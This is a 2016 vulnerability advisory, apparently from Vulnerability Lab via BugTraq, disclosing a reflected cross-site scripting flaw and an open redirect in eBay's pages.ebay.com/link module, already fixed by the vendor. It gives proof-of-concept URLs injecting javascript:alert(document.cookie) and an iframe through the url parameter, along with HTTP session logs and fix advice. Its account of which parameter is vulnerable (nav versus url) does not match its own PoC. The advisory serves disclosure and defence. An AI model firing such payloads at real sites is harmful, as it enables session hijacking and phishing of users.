BugTraq
Ebay Inc (Pages) - Client Side Cross Site Scripting Vulnerabilities Feb 08 2016 11:09AM
Vulnerability Lab (research vulnerability-lab com)
Document Title:
===============
Ebay Inc (Pages) - Client Side Cross Site Scripting Vulnerabilities

References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1626

Release Date:
=============
2016-02-07

Vulnerability Laboratory ID (VL-ID):
====================================
1626

Common Vulnerability Scoring System:
====================================
3.4

Product & Service Introduction:
===============================
eBay Inc. is an American multinational internet consumer-to-consumer corporation, headquartered in San Jose, California. It was founded by Pierre Omidyar in 1995,
and became a notable success story of the dot-com bubble; it is now a multi-billion dollar business with operations localized in over thirty countries. The company
manages eBay.com, an online auction and shopping website in which people and businesses buy and sell a broad variety of goods and services worldwide. In addition to
its auction-style sellings, the website has since expanded to include `Buy It Now` standard shopping; shopping by UPC, ISBN, or other kind of SKU (via Half.com);
online classified advertisements online event ticket trading online money transfers and other services.

(Copy of the Homepage: http://en.wikipedia.org/wiki/EBay )

Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered multiple client-side vulnerabilities in the official Ebay Inc Pages online service web-application.

Vulnerability Disclosure Timeline:
==================================
2015-10-27: Researcher Notification & Coordination (Daniel Diaz)
2015-10-27: Vendor Notification (Ebay Inc - Security Team)
2015-11-03: Vendor Response/Feedback (Ebay Inc - Security Team)
2016-02-06: Vendor Fix/Patch (Ebay Inc - Security Team)
2016-02-07: Vendor Fix/Patch (Ebay Inc - Developer Team) [Acknowledgements]
2016-02-07: Public Disclosure (Vulnerability Laboratory)

Discovery Status:
=================
Published

Affected Product(s):
====================
Ebay Inc.
Product: Ebay Pages - Online Service (Web-Application) 2015 Q4

Exploitation Technique:
=======================
Remote

Severity Level:
===============
Medium

Technical Details & Description:
================================
Multiple client-side web vulnerabilities has been discovered in the official Ebay Pages online service web-application.
The first vulnerability allows remote attacker to inject client-side script codes to compromise browser to application requests.
The second vulnerability allows remote attacker to redirect client-side browser to application request for external manipulation.

The first vulnerability is a client-side cross site scripting vulnerability that is located in the nav value of the vulnerable link module.
The domain pages.ebay.com/link/ has two parameters `nav` and `url`. The `nav` parameter receives as argument `webview`. If an attacker sends
a javascript code like `javascript:alert(document.cookie)` the code will execute in the same reply. The attack vector of the issue is non-
persistent and the request method to inject/execute is GET.

The second vulnerability is a client-side open redirect web vulnerability that is located in the url value of the vulnerable link module.
The `url` parameter receives as argument an url or javascript code. If an attacker sends an url like `http://www.google.es` the application
will open the malicious webpage. The attack vector of the issue is non-persistent and the request method to redirect is GET.

The security risk of the client-side vulnerabilities is estimated as medium with a cvss (common vulnerability scoring system) count of 3.4.
Exploitation of the security vulnerabilities requires no privilege web-application user account and low or medium user interaction.
Successful exploitation of the vulnerabilities results in session hijacking, non-persistent phishing, non-persistent external redirects,
non-persistent load of malicious script codes or non-persistent web module context manipulation.

Request Method(s):
[+] GET

Vulnerable Module(s):
[+] Ebay Pages > /link

Vulnerable Parameter(s):
[+] nav
[+] url

Affected Module(s):
[+] webview

Proof of Concept (PoC):
=======================
The vulnerabilities can be exploited by remote attackers without privileged web-application user account and with low or medium user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

PoC: Client Side Cross Site Scripting
http://pages.ebay.com/link/?nav=webview&url=javascript:alert(document.do
main)
http://pages.ebay.com/link/?nav=webview&url=javascript:alert(document.co
okie)
http://pages.ebay.com/link/?nav=webview&url=iframe:src=http://www.vulner
ability-lab.com

PoC: Source
</head><body>
<div id="splash">
<svg id="ebylogo" viewBox="0 0 324 130" xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:cc="http://creativecommons.org/ns#" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" version="1.1" xml:space="preserve">
<metadata id="metadata8">
<rdf:RDF>
<cc:Work rdf:about="">
<dc:format>image/svg+xml</dc:format>
<dc:type rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
</cc:Work>
</rdf:RDF>
</metadata>
<defs id="defs6"/>
<g transform="matrix(1.25,0,0,-1.25,0,129.7875)" id="g10">
<g transform="scale(0.1,0.1)" id="g12">
<path d="m 136.129,557.801 c 0,0 9.266,165.039 195.519,165.094 185.571,0.046 185.571,-165.094 185.571,-165.094
l -381.09,0 z M 334.844,809.07 C 11.0391,809.137 -1.54297,557.062 0.113281,491.625 c 0,0 -15.859381,-294.695 326.804719,-294.695 294.445,
0 308.941,184.91 308.941,184.91 l -135.468,-0.274 c 0,0 -26.383,-101.867 -172.914,-99.14 -188.375,3.508 -195.692,186.008 -195.692,186.008 l 521.871,
0 c 0,0 39.602,340.57 -318.812,340.636" id="path14" style="fill:#ee273b;fill-opacity:1;fill-rule:nonzero;stroke:none"/>
<path d="m 986.215,284.918 c -205.61,-2.578 -202.266,218.074 -202.266,218.074 0,0 -7.496,
212.395 201.942,217.852 209.409,5.461 202.599,-222.383 202.599,-222.383 0,0 3.34,-210.945 -202.275,-213.543 z M 1016.12,809.07 C 853.312,
809.984 783.266,712.656 783.266,712.656 l 0,325.634 -130.524,0 2.207,-688.208 c 0,0 -0.785,-80.164 -5.719,-133.144 l 126.77,0 5.441,77.316 c 0,
0 59.133,-97.324 231.939,-97.324 172.83,0 309.28,106.422 312.92,303.797 3.63,197.378 -147.35,307.441 -310.18,308.343"
id="path16" style="fill:#2d62b7;fill-opacity:1;fill-rule:nonzero;stroke:none"/>
<path d="m 1588.25,280.16 c 0,0 -130.82,-0.156 -138.49,104.363 -8.18,111.543 201.26,104.836 201.26,104.836 l
147.96,0.149 c 0,0 23.96,-212.422 -210.73,-209.348 z m 341.11,72.637 c 0.32,89.023 2.93,168.512 0,224.582 -3.43,65.012 2.73,221.918 -278.34,
233.516 0,0 -269.47,24.558 -297.45,-176.004 l 137.82,0 c 0,0 10.7,91.886 150.54,89.246 132.34,-2.5 156.45,-67.414 155.77,-147.235 0,0
-113.43,-0.32 -151.28,-0.511 -68.22,-0.34 -306.95,-7.903 -329.23,-153.313 C 1290.68,250.18 1445,196.242 1565.74,196.93 c 120.75,0.679 189.64,
36.836 240.81,101.636 l 5.47,-80.488 120.07,0.688 c 0,0 -3.1,45.007 -2.73,134.031" id="path18" style="fill:#f9a50d;fill-opacity:1;fill-rule:nonzero;stroke:none"/>
<path d="m 1857.95,787.246 151.43,0 221.49,-441.605 221.95,441.605 136.9,0 L 2189.02,0 2042.6,0 l 115.96,218.766
-300.61,568.48" id="path20" style="fill:#5fbf32;fill-opacity:1;fill-rule:nonzero;stroke:none"/>
</g>
</g>
</svg>
</div>
<img style="display:none" width="1" height="1" alt="" title="" src="http://rover.ebay.com/roverimp/0/0/9?imp=2046809"/>
</body>
</html>

--- PoC Session Logs [GET] ---
Status: 304[Not Modified]
GET http://pages.ebay.com/link/?nav=webview&url=javascript:alert(document.co
okie) Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Grö�e des Inhalts[-1] Mime Type[application/x-unknown-content-type]
Request Header:
Host[pages.ebay.com]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Cookie[npii=btguid/a8d2551b1500a62058347f34fbac003858109e95^cguid/a8d255
1b1500a62058347f34fbac003758109e95^; ebay=%5Edv%3D562f6b10%5Esbf%3D1048576%5E; dp1=btzo/-3c59f1d210^idm/15630bc90^; ds2=ssts/1445948177836^]
Connection[keep-alive]
If-Modified-Since[Tue, 27 Oct 2015 11:59:06 GMT]
If-None-Match[f4c21154051531986879f9ae221d1409]
Response Header:
Server[Apache-Coyote/1.1]
Etag[f4c21154051531986879f9ae221d1409]
Last-Modified[Tue, 27 Oct 2015 12:06:51 GMT]
Date[Tue, 27 Oct 2015 12:16:33 GMT]

PoC: Open Redirect
http://pages.ebay.com/link/?nav=webview&url=http://www.vulnerability-lab
.com

--- PoC Session Logs [GET] ---
Status: 200[OK]
GET http://pages.ebay.com/link/?nav=webview&url=http://www.vulnerability-lab
.com
Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Grö�e des Inhalts[2076] Mime Type[text/html]
Request Header:
Host[pages.ebay.com]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Cookie[npii=btguid/a8d2551b1500a62058347f34fbac003858109ea3^cguid/a8d255
1b1500a62058347f34fbac003758109ea3^; ebay=%5Edv%3D562f6b10%5Esbf%3D1048576%5E; dp1=btzo/-3c59f1d210^idm/15630bc90^; ds2=ssts/1445948177836^]
Connection[keep-alive]
Response Header:
Server[Apache-Coyote/1.1]
Etag[f4c21154051531986879f9ae221d1409]
Last-Modified[Tue, 27 Oct 2015 11:39:23 GMT]
Content-Encoding[gzip]
Content-Type[text/html;charset=UTF-8]
Content-Length[2076]
Date[Tue, 27 Oct 2015 12:19:26 GMT]

13:19:25.049[588ms][total 723ms] Status: 200[OK]
GET http://www.vulnerability-lab.com/
Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Grö�e des Inhalts[76652] Mime Type[text/html]
Request Header:
Host[www.vulnerability-lab.com]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://pages.ebay.com/link/?nav=webview&url=http://www.vulnerabi
lity-lab.com]
Cookie[PHPSESSID=df69fc7036e1108f80ce131d57f8b610]
Connection[keep-alive]
Response Header:
Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0]
Pragma[no-cache]
Content-Type[text/html]
Expires[Thu, 19 Nov 1981 08:52:00 GMT]
Server[Microsoft-IIS/8.5]
X-Powered-By[ASP.NET]
X-Powered-By-Plesk[PleskWin]
Date[Tue, 27 Oct 2015 12:19:31 GMT]
Content-Length[76652]

Reference(s):
http://pages.ebay.com/
http://pages.ebay.com/link/

Solution - Fix & Patch:
=======================
The open redirect vulnerability can be patched by a restriction of the vulnerable url parameter. Approve the context and validate the request urls to prevent malicious redirects.

The client-side cross site scripting web vulnerability can be patched by a secure parse and encode of the vulnerable nav value in the link module GET method request.
Restrict the input to the parameter value and disallow special chars to prevent client-side script code injection attacks.

Security Risk:
==============
The security risk of the client-side vulnerabilities in the official ebay online service pages

Credits & Authors:
==================
Daniel Díez Tainta - (@DaniLabs)

Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed
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